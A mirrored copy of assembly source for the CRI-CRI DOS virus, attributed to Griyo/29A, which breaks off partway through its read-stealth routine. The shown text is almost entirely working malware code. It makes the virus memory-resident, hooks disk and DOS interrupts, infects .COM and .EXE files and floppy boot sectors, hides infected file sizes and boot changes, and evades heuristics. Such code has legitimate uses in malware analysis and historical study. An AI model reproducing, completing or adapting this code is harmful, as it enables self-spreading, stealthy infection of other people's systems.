mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
2311 lines
65 KiB
NASM
2311 lines
65 KiB
NASM
;----------------------------------------------------------------------------
|
|
;CRI-CRI ViRuS (CoDe by Griyo/29A)
|
|
;----------------------------------------------------------------------------
|
|
|
|
;ResiDenT:
|
|
|
|
;WheN an inFecTed FiLe is Run thE viRus becaMes ResidEnt inTo a UMB
|
|
;memoRy bloCk (if aVaLiabLe) or in conVenTionaL memOry. Then iT
|
|
;hOOks int13h and int21h.
|
|
|
|
;InfEcTion (MulTiPartite):
|
|
|
|
;CriCri wRitEs itSeLf to The End of .Com and .Exe fiLes that aRe eXecUtEd
|
|
;or cLosEd aNd to The BooT SectOr of fLoppY diSks tHat are accEsed. During
|
|
;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiLe tabLe and HookS
|
|
;int03h and int24h.
|
|
;CriCri doEs not inFect the fiLes thAt havE diGit or V chaRactErs in
|
|
;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs
|
|
;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHeir tiMe sTamp.
|
|
|
|
;SteALth (fiLe and booT LeveL):
|
|
|
|
;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide
|
|
;theiR tRue siZe. The viRus alSo reTurns the OriGinaL boot sEctoR of
|
|
;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism
|
|
;when some comPressiOn uttiLities are beinG eXecuted.
|
|
|
|
;PoLymorPhic:
|
|
|
|
;The viRus is polymorPHic in fiLes and bOOt secToRs. GenerAted PolymorPHic
|
|
;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes
|
|
;and inteRRupt caLLs.
|
|
|
|
;----------------------------------------------------------------------------
|
|
com segment para 'CODE'
|
|
assume cs:com,ds:com,es:com,ss:com
|
|
;----------------------------------------------------------------------------
|
|
;Virus size in bytes
|
|
lenvir equ virus_copy-virus_entry
|
|
;Virus size in para
|
|
para_size equ ((lenvir*02h)+0Fh)/10h
|
|
;Virus size in sectors
|
|
sector_size equ ((lenvir+1FFh)/200h)
|
|
;Decryptor size in bytes
|
|
decryptor equ (virus_body-virus_entry)
|
|
;Boot code size in bytes
|
|
boot_size equ (boot_end-boot_code)
|
|
;----------------------------------------------------------------------------
|
|
;Create .COM launcher: TASM cricri.asm TLINK /t cricri.obj
|
|
org 100h
|
|
;----------------------------------------------------------------------------
|
|
;Virus entry point
|
|
;----------------------------------------------------------------------------
|
|
virus_entry:
|
|
;Store bp for launcher
|
|
sub bp,bp
|
|
;Buffer were virus build polymorphic decryptor
|
|
db 0280h dup (90h)
|
|
virus_body:
|
|
;Save segment registers
|
|
push ds
|
|
push es
|
|
;Check if running from boot or file
|
|
mov al,byte ptr cs:[prog_type][bp]
|
|
cmp al,"B"
|
|
je in_boot_sector
|
|
jmp go_ahead
|
|
;----------------------------------------------------------------------------
|
|
;Virus working from boot sector
|
|
;----------------------------------------------------------------------------
|
|
in_boot_sector:
|
|
;Reset DOS loaded flag
|
|
mov byte ptr cs:[dos_flag][bp],00h
|
|
;Clear dos running switch
|
|
mov byte ptr cs:[running_sw],"R"
|
|
;Get int 13h vector
|
|
mov al,13h
|
|
call get_int
|
|
;Save old int 13h
|
|
mov word ptr cs:[old13h_off][bp],bx
|
|
mov word ptr cs:[old13h_seg][bp],es
|
|
;Calculate our segment position
|
|
mov ax,cs
|
|
sub ax,10h
|
|
mov ds,ax
|
|
;Hook int 13h
|
|
mov al,13h
|
|
mov dx,offset my_int13h
|
|
call set_int
|
|
;Restore segment registers
|
|
pop es
|
|
pop ds
|
|
;Reboot system
|
|
int 19h
|
|
;----------------------------------------------------------------------------
|
|
;Wait until dos is loaded
|
|
;----------------------------------------------------------------------------
|
|
wait_dos:
|
|
;Hook int 21h at installation check
|
|
test_1:
|
|
cmp ah,01h
|
|
jne test_2
|
|
cmp si,00BADh
|
|
jne test_2
|
|
cmp di,0FACEh
|
|
je dos_installed
|
|
;Hook int 21h if we detect a write operation
|
|
test_2:
|
|
cmp ah,03h
|
|
je dos_installed
|
|
ret
|
|
;Hook int 21h to our handler
|
|
dos_installed:
|
|
call push_all
|
|
;Set dos loaded flag
|
|
mov byte ptr cs:[dos_flag],0FFh
|
|
;Check dos version
|
|
mov ah,30h
|
|
int 21h
|
|
cmp al,04h
|
|
jb exit_wait
|
|
;Save old int 21h vector
|
|
mov al,21h
|
|
call get_int
|
|
mov word ptr cs:[old21h_off],bx
|
|
mov word ptr cs:[old21h_seg],es
|
|
;Get our segment
|
|
push cs
|
|
pop ds
|
|
;Point int 21h to our handler
|
|
mov dx,offset my_int21h
|
|
mov al,21h
|
|
call set_int
|
|
exit_wait:
|
|
call pop_all
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Running from an executable
|
|
;----------------------------------------------------------------------------
|
|
go_ahead:
|
|
;Installation check
|
|
mov si,00BADh
|
|
mov di,0FACEh
|
|
mov ah,01h
|
|
mov dl,80h
|
|
int 13h
|
|
jc not_installed
|
|
cmp si,0DEADh
|
|
jne not_installed
|
|
cmp di,0BABEh
|
|
jne not_installed
|
|
jmp control_end
|
|
not_installed:
|
|
;Check dos version
|
|
mov ah,30h
|
|
int 21h
|
|
cmp al,04h
|
|
jae check_date
|
|
jmp control_end
|
|
check_date:
|
|
;Get current date
|
|
mov ah,2Ah
|
|
int 21h
|
|
;Save today's date
|
|
mov byte ptr cs:[today][bp],dl
|
|
;Activation circunstance: 4th of June
|
|
cmp dh,06h
|
|
jne no_activation
|
|
cmp dl,04h
|
|
jne no_activation
|
|
jmp print_credits
|
|
no_activation:
|
|
;Set dos loaded flag
|
|
xor al,al
|
|
dec al
|
|
mov byte ptr cs:[dos_flag][bp],al
|
|
;Clear dos running switch
|
|
mov byte ptr cs:[running_sw],"R"
|
|
;Save old int 13h
|
|
mov al,13h
|
|
call get_int
|
|
mov word ptr cs:[old13h_seg][bp],es
|
|
mov word ptr cs:[old13h_off][bp],bx
|
|
;Save old int 03h
|
|
mov al,03h
|
|
call get_int
|
|
mov word ptr cs:[old03h_seg][bp],es
|
|
mov word ptr cs:[old03h_off][bp],bx
|
|
;Save old int 21h
|
|
mov al,21h
|
|
call get_int
|
|
mov word ptr cs:[old21h_seg][bp],es
|
|
mov word ptr cs:[old21h_off][bp],bx
|
|
;Redirect traced int 21h to int 03h
|
|
lds dx,dword ptr cs:[old21h][bp]
|
|
mov al,03h
|
|
call set_int
|
|
;----------------------------------------------------------------------------
|
|
;Memory allocation
|
|
;----------------------------------------------------------------------------
|
|
sub di,di
|
|
;Get pointer to dos info block
|
|
mov ah,52h
|
|
int 03h
|
|
;Get pointer to the dos buffers structure
|
|
lds si,es:[bx+12h]
|
|
;Get address of first umb
|
|
mov ax,ds:[si+1Fh]
|
|
cmp ax,0FFFFh
|
|
je no_umbs
|
|
;Follow the chain
|
|
nextumb:
|
|
mov ds,ax
|
|
;Check for free umb's
|
|
cmp word ptr ds:[di+01h],di
|
|
jnz no_free_umb
|
|
;Check if there is enought size
|
|
cmp word ptr ds:[di+03h],para_size+01h
|
|
ja handle_mcb
|
|
no_free_umb:
|
|
;Check if this is the last umb
|
|
cmp byte ptr ds:[di+00h],"Z"
|
|
je no_umbs
|
|
;Jump to next umb in the chain
|
|
mov ax,ds
|
|
inc ax
|
|
add ax,word ptr ds:[di+03h]
|
|
mov ds,ax
|
|
jmp short nextumb
|
|
;Allocate memory from last mcb
|
|
no_umbs:
|
|
;Get pointer to dos info block
|
|
mov ah,52h
|
|
int 03h
|
|
;Get pointer to first mcb
|
|
mov ax,es
|
|
dec ax
|
|
mov es,ax
|
|
add bx,12
|
|
lds di,dword ptr es:[bx+00h]
|
|
;Follow the mcb chain
|
|
nextmcb:
|
|
;Check if this is the last mcb
|
|
cmp byte ptr ds:[di+00h],"Z"
|
|
je ok_mcb
|
|
;Next mcb
|
|
mov ax,ds
|
|
inc ax
|
|
add ax,word ptr ds:[di+03h]
|
|
mov ds,ax
|
|
jmp short nextmcb
|
|
ok_mcb:
|
|
;Check mcb size
|
|
cmp word ptr ds:[di+03h],para_size+4000h
|
|
ja ok_mcb_size
|
|
jmp control_end
|
|
ok_mcb_size:
|
|
;Sub top of memory in psp
|
|
sub word ptr ds:[di+12h],para_size+01h
|
|
handle_mcb:
|
|
;Sub virus size and mcb size
|
|
sub word ptr ds:[di+03h],para_size+01h
|
|
;Clear the last mcb field
|
|
mov byte ptr ds:[di+00h],"M"
|
|
;Jump to next mcb
|
|
mov ax,ds
|
|
inc ax
|
|
add ax,word ptr ds:[di+03h]
|
|
mov es,ax
|
|
inc ax
|
|
push ax
|
|
;Mark mcb as last in the chain
|
|
mov byte ptr es:[di+00h],"Z"
|
|
;Set dos as owner
|
|
mov word ptr es:[di+01h],0008h
|
|
;Set mcb size
|
|
mov word ptr es:[di+03h],para_size
|
|
;Mark UMB as system code
|
|
mov di,0008h
|
|
mov ax,"CS"
|
|
cld
|
|
stosw
|
|
xor ax,ax
|
|
stosw
|
|
stosw
|
|
stosw
|
|
;Copy to memory
|
|
pop es
|
|
mov ax,cs
|
|
mov ds,ax
|
|
sub di,di
|
|
mov si,bp
|
|
add si,0100h
|
|
mov cx,lenvir
|
|
cld
|
|
rep movsb
|
|
;Save virus segment
|
|
mov ax,es
|
|
sub ax,10h
|
|
mov ds,ax
|
|
;Hook int 13h
|
|
mov dx,offset my_int13h
|
|
mov al,13h
|
|
call set_int
|
|
;Hook int 21h
|
|
mov dx,offset my_int21h
|
|
mov al,21h
|
|
call set_int
|
|
control_end:
|
|
;Restore old int 03h
|
|
lds dx,dword ptr cs:[old03h][bp]
|
|
mov al,03h
|
|
call set_int
|
|
;Return to host
|
|
cmp byte ptr cs:[prog_type][bp],"E"
|
|
je exit_exe
|
|
;----------------------------------------------------------------------------
|
|
;Exit from .COM
|
|
;----------------------------------------------------------------------------
|
|
exit_com:
|
|
;Restore first three bytes
|
|
mov ax,cs
|
|
mov es,ax
|
|
mov ds,ax
|
|
mov si,offset old_header
|
|
add si,bp
|
|
mov di,0100h
|
|
mov cx,0003h
|
|
cld
|
|
rep movsb
|
|
;Restore segment registers
|
|
pop es
|
|
pop ds
|
|
;Check if launcher execution
|
|
cmp bp,0000h
|
|
je endprog
|
|
;Get control back to host
|
|
push cs
|
|
mov ax,0100h
|
|
push ax
|
|
call zero_all
|
|
retf
|
|
;Exit program if launcher execution
|
|
endprog:
|
|
mov ax,4C00h
|
|
int 21h
|
|
;----------------------------------------------------------------------------
|
|
;Exit from .EXE
|
|
;----------------------------------------------------------------------------
|
|
exit_exe:
|
|
;Restore segment registers
|
|
pop es
|
|
pop ds
|
|
;Get control back to host
|
|
mov bx,word ptr cs:[file_buffer+16h][bp]
|
|
mov ax,cs
|
|
sub ax,bx
|
|
mov dx,ax
|
|
add ax,word ptr cs:[old_header+16h][bp]
|
|
add dx,word ptr cs:[old_header+0Eh][bp]
|
|
mov bx,word ptr cs:[old_header+14h][bp]
|
|
mov word ptr cs:[exeret][bp],bx
|
|
mov word ptr cs:[exeret+02h][bp],ax
|
|
mov ax,word ptr cs:[old_header+10h][bp]
|
|
mov word ptr cs:[fix1][bp],dx
|
|
mov word ptr cs:[fix2][bp],ax
|
|
call zero_all
|
|
db 0B8h
|
|
fix1:
|
|
dw 0000h
|
|
cli
|
|
mov ss,ax
|
|
db 0BCh
|
|
fix2:
|
|
dw 0000h
|
|
sti
|
|
db 0EAh
|
|
exeret:
|
|
dw 0000h
|
|
dw 0000h
|
|
;----------------------------------------------------------------------------
|
|
;Virus int 13h handler
|
|
;----------------------------------------------------------------------------
|
|
my_int13h:
|
|
cmp byte ptr cs:[dos_flag],00h
|
|
jne ok_dos_flag
|
|
call wait_dos
|
|
ok_dos_flag:
|
|
call push_all
|
|
;Installation check
|
|
cmp ah,01h
|
|
jnz not_check
|
|
cmp si,00BADh
|
|
jne my13h_exit
|
|
cmp di,0FACEh
|
|
jne my13h_exit
|
|
call pop_all
|
|
mov si,0DEADh
|
|
mov di,0BABEh
|
|
stc
|
|
cmc
|
|
retf 2
|
|
not_check:
|
|
;Do not use our int 13h handler if we are using our int 21h handler
|
|
cmp byte ptr cs:[running_sw],"R"
|
|
jne my13h_exit
|
|
;Check for read operations
|
|
cmp ah,02h
|
|
jne short my13h_exit
|
|
;Side 0 of drive a:
|
|
or dx,dx
|
|
jnz short my13h_exit
|
|
;Track 0, sector 1
|
|
cmp cx,0001h
|
|
je infect_floppy
|
|
;Get control back to old int 13h
|
|
my13h_exit:
|
|
call pop_all
|
|
jmp dword ptr cs:[old13h]
|
|
;----------------------------------------------------------------------------
|
|
;Infect floppy on drive a:
|
|
;----------------------------------------------------------------------------
|
|
infect_floppy:
|
|
;Perform read operation
|
|
pushf
|
|
call dword ptr cs:[old13h]
|
|
jnc boot_read_ok
|
|
call pop_all
|
|
stc
|
|
retf 2
|
|
boot_read_ok:
|
|
;Check for JMP SHORT at the beginning
|
|
cmp byte ptr es:[bx+00h],0EBh
|
|
jne exit_disk
|
|
;Check if infected
|
|
call get_position
|
|
cmp word ptr es:[di+boot_marker-boot_code],"RC"
|
|
jne not_infected
|
|
jmp stealth_boot
|
|
not_infected:
|
|
;Check for mbr marker also in floppy
|
|
cmp word ptr es:[bx+01FEh],0AA55h
|
|
je floppy_infection
|
|
exit_disk:
|
|
call pop_all
|
|
stc
|
|
cmc
|
|
retf 2
|
|
;Calculate track and head for floppy
|
|
floppy_infection:
|
|
;Get sectors per track
|
|
mov ax,word ptr es:[bx+18h]
|
|
mov cx,ax
|
|
;Cut one track for virus body
|
|
sub word ptr es:[bx+13h],ax
|
|
mov ax,word ptr es:[bx+13h]
|
|
xor dx,dx
|
|
;Divide total sectors by sectors per track
|
|
div cx
|
|
xor dx,dx
|
|
;Get heads parameter
|
|
mov cx,word ptr es:[bx+1Ah]
|
|
push cx
|
|
;Divide tracks by heads
|
|
div cx
|
|
push ax
|
|
xchg ah,al
|
|
mov cl,06h
|
|
shl al,cl
|
|
or al,01h
|
|
;Save virus body position in floopy
|
|
mov word ptr cs:[load_cx],ax
|
|
pop ax
|
|
pop cx
|
|
xor dx,dx
|
|
div cx
|
|
mov byte ptr cs:[load_dh],dl
|
|
;Use floppy root directory for old boot sector
|
|
mov cx,000Eh
|
|
mov dx,0100h
|
|
;Write original boot sector
|
|
mov ax,0301h
|
|
pushf
|
|
call dword ptr cs:[old13h]
|
|
jc exit13h_inf
|
|
ok_original:
|
|
;Move virus loader into boot sector
|
|
push cs
|
|
pop ds
|
|
mov si,offset boot_code
|
|
mov cx,boot_size
|
|
cld
|
|
rep movsb
|
|
write_boot:
|
|
;Reset disk controler
|
|
xor ax,ax
|
|
pushf
|
|
call dword ptr cs:[old13h] ;************old13h]
|
|
;Write loader
|
|
mov ax,0301h
|
|
xor dx,dx
|
|
mov cx,0001h
|
|
pushf
|
|
call dword ptr cs:[old13h] ;+++++++++++old13h]
|
|
jnc ok_loader
|
|
exit13h_inf:
|
|
call pop_all
|
|
stc
|
|
cmc
|
|
retf 2
|
|
ok_loader:
|
|
;Set boot flag
|
|
mov byte ptr cs:[prog_type],"B"
|
|
;Perform encryption
|
|
call do_encrypt
|
|
push cs
|
|
pop es
|
|
;Write virus body
|
|
mov cx,word ptr cs:[load_cx]
|
|
mov dh,byte ptr cs:[load_dh]
|
|
mov bx,offset virus_copy
|
|
mov ax,0300h+sector_size
|
|
pushf
|
|
call dword ptr cs:[old13h] ;+++++++++++++old13h]
|
|
;Hide changes made to boot sector
|
|
stealth_boot:
|
|
call pop_all
|
|
mov cl,03h
|
|
mov al,01h
|
|
mov cl,0Eh
|
|
mov dh,01h
|
|
jmp dword ptr cs:[old13h]
|
|
;----------------------------------------------------------------------------
|
|
;Code inserted into boot sector
|
|
;----------------------------------------------------------------------------
|
|
boot_code:
|
|
cli
|
|
xor ax,ax
|
|
mov ss,ax
|
|
mov es,ax
|
|
mov ds,ax
|
|
mov si,7C00h
|
|
mov sp,si
|
|
sti
|
|
;Allocate some BIOS memory
|
|
sub word ptr ds:[0413h],(lenvir/512)+1
|
|
mov ax,word ptr ds:[0413h]
|
|
;Calculate residence address
|
|
mov cl,06h
|
|
shl ax,cl
|
|
mov es,ax
|
|
;Reset disk
|
|
xor ax,ax
|
|
int 13h
|
|
;Get position in disk
|
|
;mov cx,XXXXh
|
|
db 0B9h
|
|
load_cx dw 0000h
|
|
;mov dh,XXh
|
|
db 0B6h
|
|
load_dh db 00h
|
|
;Prepare for reading virus body
|
|
try_again:
|
|
mov ax,0200h+sector_size
|
|
;Read at es:bx
|
|
xor bx,bx
|
|
;Read virus body into allocated memory
|
|
int 13h
|
|
jc error_init
|
|
;Continue execution on virus body
|
|
push es
|
|
push bx
|
|
retf
|
|
;Error during virus initialization
|
|
error_init:
|
|
int 18h
|
|
;----------------------------------------------------------------------------
|
|
;Infection marker
|
|
;----------------------------------------------------------------------------
|
|
boot_marker db "CR"
|
|
;End of boot code
|
|
boot_end:
|
|
;----------------------------------------------------------------------------
|
|
;Virus int 21h
|
|
;----------------------------------------------------------------------------
|
|
my_int21h:
|
|
call push_all
|
|
;Set int 21h running switch
|
|
mov byte ptr cs:[running_sw],"F"
|
|
;Anti-heuristic function number examination
|
|
xor ax,0FFFFh
|
|
mov word ptr cs:[dos_function],ax
|
|
;Save old int 24h
|
|
mov al,24h
|
|
call get_int
|
|
mov word ptr cs:[old24h_seg],es
|
|
mov word ptr cs:[old24h_off],bx
|
|
;Hook int 24h to a do-nothing handler
|
|
push cs
|
|
pop ds
|
|
mov dx,offset my_int24h
|
|
mov al,24h
|
|
call set_int
|
|
;Save old int 03h
|
|
mov al,03h
|
|
call get_int
|
|
mov word ptr cs:[old03h_seg],es
|
|
mov word ptr cs:[old03h_off],bx
|
|
;Hook int 03h to original int 21h
|
|
lds dx,dword ptr cs:[old21h]
|
|
mov al,03h
|
|
call set_int
|
|
;Check for special files
|
|
mov ah,51h ;62h?
|
|
int 03h
|
|
dec bx
|
|
mov ds,bx
|
|
mov ax,word ptr ds:[0008h]
|
|
mov byte ptr cs:[stealth_sw],00h
|
|
;Check if arj is running
|
|
cmp ax,"RA"
|
|
je disable_stealth
|
|
;Check for pkzip utils
|
|
cmp ax,"KP"
|
|
je disable_stealth
|
|
;Check for lha
|
|
cmp ax,"HL"
|
|
je disable_stealth
|
|
;Check for backup
|
|
cmp ax,"AB"
|
|
je disable_stealth
|
|
jmp no_running
|
|
disable_stealth:
|
|
mov byte ptr cs:[stealth_sw],0FFh
|
|
no_running:
|
|
;Restore and re-save all regs
|
|
call pop_all
|
|
call push_all
|
|
;Put function number into bx
|
|
mov bx,word ptr cs:[dos_function]
|
|
;----------------------------------------------------------------------------
|
|
;Infection functions
|
|
;----------------------------------------------------------------------------
|
|
infection_00:
|
|
;Exec function
|
|
cmp bx,(4B00h xor 0FFFFh)
|
|
jne infection_01
|
|
jmp dos_exec
|
|
infection_01:
|
|
;Close file (Handle)
|
|
cmp bh,(3Eh xor 0FFh)
|
|
jne stealth_dos
|
|
jmp dos_close
|
|
;----------------------------------------------------------------------------
|
|
;Stealth functions
|
|
;----------------------------------------------------------------------------
|
|
stealth_dos:
|
|
;Check if stealth is disabled
|
|
cmp byte ptr cs:[stealth_sw],0FFh
|
|
je m21h_exit
|
|
;Open file (Handle)
|
|
cmp bh,(3Dh xor 0FFh)
|
|
jne stealth_00
|
|
jmp dos_open
|
|
stealth_00:
|
|
;Extended open
|
|
cmp bh,(6Ch xor 0FFh)
|
|
jne stealth_01
|
|
jmp dos_open
|
|
stealth_01:
|
|
;Directory stealth works with function Findfirst (fcb)
|
|
cmp bh,(11h xor 0FFh)
|
|
jne stealth_02
|
|
jmp ff_fcb
|
|
stealth_02:
|
|
;Directory stealth works also with function Findnext(fcb)
|
|
cmp bh,(12h xor 0FFh)
|
|
jne stealth_03
|
|
jmp ff_fcb
|
|
stealth_03:
|
|
;Search stealth works with Findfirst (handle)
|
|
cmp bh,(4Eh xor 0FFh)
|
|
jne stealth_04
|
|
jmp ff_handle
|
|
stealth_04:
|
|
;Search stealth works also with Findnext (handle)
|
|
cmp bh,(4Fh xor 0FFh)
|
|
jne stealth_05
|
|
jmp ff_handle
|
|
stealth_05:
|
|
;Read stealth
|
|
cmp bh,(3Fh xor 0FFh)
|
|
jne stealth_06
|
|
jmp dos_read
|
|
stealth_06:
|
|
;Disinfect if debuggers exec
|
|
cmp bx,(4B01h xor 0FFFFh)
|
|
jne stealth_07
|
|
jmp dos_load_exec
|
|
stealth_07:
|
|
;Disinfect if file write
|
|
cmp bh,(40h xor 0FFh)
|
|
jne stealth_08
|
|
jmp dos_write
|
|
stealth_08:
|
|
;Get file date/time
|
|
cmp bx,(5700h xor 0FFFFh)
|
|
jne stealth_09
|
|
jmp dos_get_time
|
|
stealth_09:
|
|
;Set file date/time
|
|
cmp bx,(5701h xor 0FFFFh)
|
|
jne m21h_exit
|
|
jmp dos_set_time
|
|
;Get control back to dos
|
|
m21h_exit:
|
|
;Free int 03h and int 24h
|
|
call unhook_ints
|
|
call pop_all
|
|
jmp dword ptr cs:[old21h]
|
|
;----------------------------------------------------------------------------
|
|
;Directory stealth with functions 11h and 12h (fcb)
|
|
;----------------------------------------------------------------------------
|
|
ff_fcb:
|
|
call pop_all
|
|
;Call DOS service
|
|
int 03h
|
|
;Save all regs
|
|
call push_all
|
|
;Check for errors
|
|
cmp al,255
|
|
je nofound_fcb
|
|
;Get current PSP
|
|
mov ah,51h
|
|
int 03h
|
|
;Check if call comes from DOS
|
|
mov es,bx
|
|
cmp bx,es:[16h]
|
|
jne nofound_fcb
|
|
mov bx,dx
|
|
mov al,ds:[bx+00h]
|
|
push ax
|
|
;Get DTA
|
|
mov ah,2Fh
|
|
int 03h
|
|
pop ax
|
|
inc al
|
|
jnz fcb_ok
|
|
add bx,07h
|
|
fcb_ok:
|
|
;Check if infected
|
|
mov ax,word ptr es:[bx+17h]
|
|
and al,1Fh
|
|
cmp al,1Fh
|
|
jne nofound_fcb
|
|
;Restore seconds
|
|
and byte ptr es:[bx+17h],0E0h
|
|
;Restore original file size
|
|
sub word ptr es:[bx+1Dh],lenvir
|
|
sbb word ptr es:[bx+1Fh],0000h
|
|
nofound_fcb:
|
|
;Restore some registers and return
|
|
call unhook_ints
|
|
call pop_all
|
|
iret
|
|
;----------------------------------------------------------------------------
|
|
;Search stealth with functions 4Eh and 4Fh (handle)
|
|
;----------------------------------------------------------------------------
|
|
ff_handle:
|
|
call pop_all
|
|
;Call DOS service
|
|
int 03h
|
|
jnc ffhok
|
|
call unhook_ints
|
|
stc
|
|
retf 2
|
|
ffhok:
|
|
;Save result
|
|
call push_all
|
|
;Get DTA
|
|
mov ah,2Fh
|
|
int 03h
|
|
;Check if infected
|
|
mov ax,word ptr es:[bx+16h]
|
|
and al,1Fh
|
|
cmp al,1Fh
|
|
jne nofound_handle
|
|
;Restore seconds field
|
|
and byte ptr es:[bx+16h],0E0h
|
|
;Restore original size
|
|
sub word ptr es:[bx+1Ah],lenvir
|
|
sbb word ptr es:[bx+1Ch],0000h
|
|
nofound_handle:
|
|
;Restore some registers and exit
|
|
call unhook_ints
|
|
call pop_all
|
|
stc
|
|
cmc
|
|
retf 2
|
|
;----------------------------------------------------------------------------
|
|
;Load exec
|
|
;----------------------------------------------------------------------------
|
|
dos_load_exec:
|
|
;Open file for read-only
|
|
mov ax,3D00h
|
|
int 03h
|
|
jnc loaded
|
|
jmp m21h_exit
|
|
loaded:
|
|
xchg bx,ax
|
|
jmp do_disinfect
|
|
;----------------------------------------------------------------------------
|
|
;Write file
|
|
;----------------------------------------------------------------------------
|
|
dos_write:
|
|
call pop_all
|
|
call push_all
|
|
do_disinfect:
|
|
;Get sft address in es:di
|
|
call get_sft
|
|
jc bad_operation
|
|
;Check if file is already infected
|
|
mov al,byte ptr es:[di+0Dh]
|
|
mov ah,1Fh
|
|
and al,ah
|
|
cmp al,ah
|
|
je clear_header
|
|
bad_operation:
|
|
jmp load_error
|
|
clear_header:
|
|
;Save and set file open mode (read/write)
|
|
mov cx,0002h
|
|
xchg cx,word ptr es:[di+02h]
|
|
push cx
|
|
;Save and set file attribute
|
|
xor al,al
|
|
xchg al,byte ptr es:[di+04h]
|
|
push ax
|
|
;Save and set file pointer position
|
|
push word ptr es:[di+15h]
|
|
push word ptr es:[di+17h]
|
|
;Get file true size if write operation
|
|
cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
|
|
jne no_size_fix
|
|
;Add virus size to file size
|
|
add word ptr es:[di+11h],lenvir
|
|
adc word ptr es:[di+13h],0000h
|
|
no_size_fix:
|
|
;Point to old header in file
|
|
call seek_end
|
|
sub word ptr es:[di+15h],0019h+01h
|
|
sbb word ptr es:[di+17h],0000h
|
|
;Read old header and encryption key
|
|
push cs
|
|
pop ds
|
|
mov ah,3Fh
|
|
mov cx,0019h+01h
|
|
mov dx,offset virus_copy
|
|
int 03h
|
|
jc exit_disin
|
|
;Decrypt header
|
|
mov cx,0019h
|
|
push dx
|
|
pop si
|
|
mov al,byte ptr cs:[si+19h]
|
|
restore_header:
|
|
xor byte ptr cs:[si+00h],al
|
|
inc si
|
|
loop restore_header
|
|
;Write old header
|
|
call seek_begin
|
|
mov dx,offset virus_copy
|
|
mov ah,40h
|
|
mov cx,0019h-01h
|
|
int 03h
|
|
;Truncate file
|
|
call seek_end
|
|
sub word ptr es:[di+15h],lenvir
|
|
sbb word ptr es:[di+17h],0000h
|
|
xor cx,cx
|
|
mov ah,40h
|
|
int 03h
|
|
exit_disin:
|
|
;Restore file pointer position
|
|
pop word ptr es:[di+17h]
|
|
pop word ptr es:[di+15h]
|
|
;Restore file attribute
|
|
pop ax
|
|
mov byte ptr es:[di+04h],al
|
|
;Restore file open mode
|
|
pop word ptr es:[di+02h]
|
|
;Do not set file date and file time on closing
|
|
or byte ptr es:[di+06h],40h
|
|
;Clear seconds field
|
|
and byte ptr es:[di+0Dh],0E0h
|
|
load_error:
|
|
;Check if write function
|
|
cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
|
|
je not_load
|
|
;Close file
|
|
mov ah,3Eh
|
|
int 03h
|
|
not_load:
|
|
jmp m21h_exit
|
|
;----------------------------------------------------------------------------
|
|
;Get file date/time
|
|
;----------------------------------------------------------------------------
|
|
dos_get_time:
|
|
call pop_all
|
|
;Call function
|
|
int 03h
|
|
jnc ok_get_time
|
|
;Exit if error
|
|
call unhook_ints
|
|
stc
|
|
retf 2
|
|
ok_get_time:
|
|
call push_all
|
|
;Check if file is already infected
|
|
mov al,cl
|
|
mov ah,1Fh
|
|
and al,ah
|
|
cmp al,ah
|
|
jne no_get_time
|
|
call pop_all
|
|
and cl,0E0h
|
|
jmp short exit_get_time
|
|
no_get_time:
|
|
call pop_all
|
|
exit_get_time:
|
|
call unhook_ints
|
|
stc
|
|
cmc
|
|
retf 2
|
|
;----------------------------------------------------------------------------
|
|
;Set file date/time
|
|
;----------------------------------------------------------------------------
|
|
dos_set_time:
|
|
call pop_all
|
|
call push_all
|
|
;Get address of sft entry
|
|
call get_sft
|
|
jc no_set_time
|
|
;Check if file is already infected
|
|
mov al,byte ptr es:[di+0Dh]
|
|
mov ah,1Fh
|
|
and al,ah
|
|
cmp al,ah
|
|
je ok_set_time
|
|
no_set_time:
|
|
;Exit if not infected or error
|
|
jmp m21h_exit
|
|
ok_set_time:
|
|
;Perform time change but restore our marker
|
|
call pop_all
|
|
or cl,1Fh
|
|
call push_all
|
|
jmp m21h_exit
|
|
;----------------------------------------------------------------------------
|
|
;Open file
|
|
;----------------------------------------------------------------------------
|
|
dos_open:
|
|
;Call dos function
|
|
call pop_all
|
|
int 03h
|
|
jnc do_open
|
|
open_fail:
|
|
call unhook_ints
|
|
stc
|
|
retf 2
|
|
do_open:
|
|
call push_all
|
|
;Get sft for file handle
|
|
xchg bx,ax
|
|
call get_sft
|
|
jc no_changes
|
|
;Check if file is infected
|
|
mov al,byte ptr es:[di+0Dh]
|
|
mov ah,1Fh
|
|
and al,ah
|
|
cmp al,ah
|
|
jne no_changes
|
|
;If infected stealth true size
|
|
sub word ptr es:[di+11h],lenvir
|
|
sbb word ptr es:[di+13h],0000h
|
|
no_changes:
|
|
call unhook_ints
|
|
call pop_all
|
|
stc
|
|
cmc
|
|
retf 2
|
|
;----------------------------------------------------------------------------
|
|
;Read file
|
|
;----------------------------------------------------------------------------
|
|
dos_read:
|
|
;Restore function entry regs
|
|
call pop_all
|
|
call push_all
|
|
;Duplicate handle
|
|
mov ah,45h
|
|
int 03h
|
|
jc no_read_stealth
|
|
xchg bx,ax
|
|
push ax
|
|
;Close new handle in order to update directory entry
|
|
mov ah,3Eh
|
|
int 03h
|
|
pop bx
|
|
;Get address of sft entry
|
|
call get_sft
|
|
jc no_read_stealth
|
|
;Check if file is already infected
|
|
mov al,byte ptr es:[di+0Dh]
|
|
mov ah,1Fh
|
|
and al,ah
|
|
cmp al,ah
|
|
jne no_read_stealth
|
|
;Check and save current offset in file
|
|
mov ax,word ptr es:[di+15h]
|
|
cmp ax,0019h
|
|
jae no_read_stealth
|
|
cmp word ptr es:[di+17h],0000h
|
|
jne no_read_stealth
|
|
mov word ptr cs:[file_offset],ax
|
|
call pop_all
|
|
;Save address of read buffer
|
|
mov word ptr cs:[read_off],dx
|
|
mov word ptr cs:[read_seg],ds
|
|
;Perform read operation
|
|
int 03h
|
|
jnc check_read
|
|
;Error during file read
|
|
call unhook_ints
|
|
stc
|
|
retf 2
|
|
no_read_stealth:
|
|
;Exit if no read stealth
|
|
jmp m21h_exit
|
|
check_read:
|
|
call push_all
|
|
call get_sft
|
|
;Save offset position
|
|
